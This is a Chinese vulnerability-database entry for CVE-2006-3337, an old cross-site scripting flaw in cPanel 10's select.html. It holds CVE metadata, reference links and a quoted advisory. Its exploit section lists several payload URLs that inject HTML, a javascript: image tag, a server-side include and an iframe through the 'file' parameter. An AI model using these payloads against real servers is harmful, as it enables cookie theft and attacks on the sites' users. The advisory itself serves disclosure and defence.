Cpanel 'Select.HTML' 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110521 漏洞类型 跨站脚本
发布时间 2006-06-26 更新时间 2007-03-08
CVE编号 CVE-2006-3337 CNNVD-ID CNNVD-200607-010
漏洞平台 PHP CVSS评分 2.6
|漏洞来源
https://www.exploit-db.com/exploits/28107
https://www.securityfocus.com/bid/18655
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-010
|漏洞详情
cPanel10.8.2-CURRENT118及更早版本中的frontend/x/files/select.html存在跨站脚本攻击(XSS)漏洞。远程攻击者可以通过file参数注入任意Web脚本或HTML。
|漏洞EXP
source: http://www.securityfocus.com/bid/18655/info

Cpanel is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 10; other versions may also be vulnerable.

[+] Exploit: http://[Target]:[Port]/[Dir]/x/files/select.html?dir=/&file= <h1><b>Your code here!!</b></h1> [+] Javascript: http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IMG src="javascript:alert('yeah');"> [+] Server Side Inclusion http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<!--#echo var="HTTP_REFERER" --> [+] HTML http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IFRAME SRC="index.html">
|受影响的产品
cPanel cPanel 10
|参考资料

来源:BID
名称:18655
链接:http://www.securityfocus.com/bid/18655
来源:BUGTRAQ
名称:20060626Re:XSSinCpanel10
链接:http://www.securityfocus.com/archive/1/archive/1/438477/100/0/threaded
来源:BUGTRAQ
名称:20060626XSSinCpanel10
链接:http://www.securityfocus.com/archive/1/archive/1/438355/100/0/threaded
来源:VUPEN
名称:ADV-2006-2547
链接:http://www.frsirt.com/english/advisories/2006/2547
来源:SECTRACK
名称:1016383
链接:http://securitytracker.com/id?1016383
来源:SECUNIA
名称:20840
链接:http://secunia.com/advisories/20840
来源:MISC
链接:http://bugzilla.cpanel.net/show_bug.cgi?id=4282
来源:XF
名称:cpanel-select-xss(27403)
链接:http://xforce.iss.net/xforce/xfdb/27403